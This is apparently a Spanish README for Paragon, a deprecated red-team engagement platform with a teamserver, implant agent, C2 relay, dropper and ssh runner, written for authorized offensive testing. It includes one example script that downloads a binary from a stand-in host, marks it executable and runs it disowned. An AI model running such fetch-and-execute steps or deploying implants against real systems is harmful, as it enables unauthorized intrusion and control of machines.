
Plataforma de compromiso Red Team con el objetivo de unificar herramientas ofensivas tras una interfaz de usuario simple.
Este proyecto ha sido deprecado, por favor consulte nuestro nuevo proyecto Realm, que se basa en muchas de las ideas que tuvimos al construir este repositorio.

Paragon es una plataforma de compromiso de Red Team. Su objetivo es unificar herramientas ofensivas detrás de una interfaz de usuario simple, abstrayendo gran parte del trabajo de backend para permitir que los operadores se centren en escribir implantes y dediquen menos tiempo a preocuparse por bases de datos y CSS. El repositorio también proporciona algunas herramientas ofensivas ya integradas con Paragon que pueden utilizarse durante compromisos.
Este repositorio aún está en desarrollo intensivo y no está listo para uso en producción. Cuando se considere estable, se lanzará una etiqueta V1.0.0. Hasta entonces, la API puede sufrir cambios disruptivos mientras simplificamos continuamente nuestro diseño. Lea la documentación para desarrolladores a continuación si desea ayudarnos a alcanzar este hito más rápido.
Se puede configurar una instancia rápida de demostración clonando el repositorio y ejecutando docker-compose up. Abra 127.0.0.1:80 en su navegador para comenzar.
Las imágenes utilizadas están disponibles en docker-hub y se pueden configurar desde un archivo docker-compose para un despliegue en producción.
La mayoría de los componentes de este repositorio dependen de un lenguaje de scripting similar a Python que permite un control potente y la personalización de su comportamiento. El lenguaje es una versión modificada de Google's starlark, extendido con funcionalidad multiplataforma para los operadores. Esto también permite que herramientas como el agente y el droppedor (discutidos a continuación) ejecuten tareas sin depender de binarios del sistema (curl, bash, etc.). Todas las operaciones se ejecutan como código en Golang, por lo que es intuitivo agregar funcionalidad adicional al entorno de scripting. Aquí hay un script de ejemplo:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Proporciona una aplicación web simple y una API GraphQL para interactuar con un grafo de conocimiento del Red Team, unificando herramientas detrás de una fuente centralizada de verdad y abstrayendo muchas preocupaciones tediosas del backend de los operadores. Integre sus herramientas personalizadas con el Teamserver (usando la API GraphQL o suscripciones a eventos) para ahorrar tiempo en el trabajo de backend. El Teamserver registra toda la actividad, por lo que con todas sus herramientas unificadas en un solo lugar, escribir informes posteriores al compromiso se vuelve significativamente más fácil.
Las siguientes herramientas también están incluidas en el repositorio. Se pueden extender fácilmente para adaptarse a muchos casos de uso multiplataforma.
Paragon proporciona una herramienta para empaquetar activos (binarios, scripts, etc.) en un solo binario que, al ejecutarse, ejecutará su script de despliegue personalizado que puede escribir activos en el sistema de archivos, lanzar procesos, descargar archivos, manejar errores y más. Es completamente multiplataforma y compilado estáticamente, proporcionando despliegues confiables. Si desea extender su funcionalidad, simplemente puede extender el archivo golang generado antes de compilar.
Un implante que ejecuta tareas e informa los resultados de la ejecución. Está configurado por defecto para ejecutar tareas usando el lenguaje de scripting similar a Python de Paragon y para comunicarse con un C2 a través de http(s). Está escrito en Go y se puede modificar rápidamente para agregar nuevos métodos de transporte (por ejemplo, DNS), opciones de ejecución, lógica de conmutación por error y más.
Actúa como intermediario entre el Agente y el Teamserver. Maneja las devoluciones de llamada del agente para una variedad de mecanismos de comunicación y le proporciona nuevas tareas desde la cola del teamserver.
En lugar de esperar una devolución de llamada, algunas situaciones pueden requerir una conexión directa para ejecutar rápidamente una tarea y ver su salida. El runner logra esto suscribiéndose a colas de tareas y estableciendo una conexión con la máquina objetivo (por ejemplo, usando ssh). Esto permite que integraciones tipo shell utilicen la misma interfaz que los implantes y C2. También permite que el despliegue inicial del implante se realice a través de esta interfaz.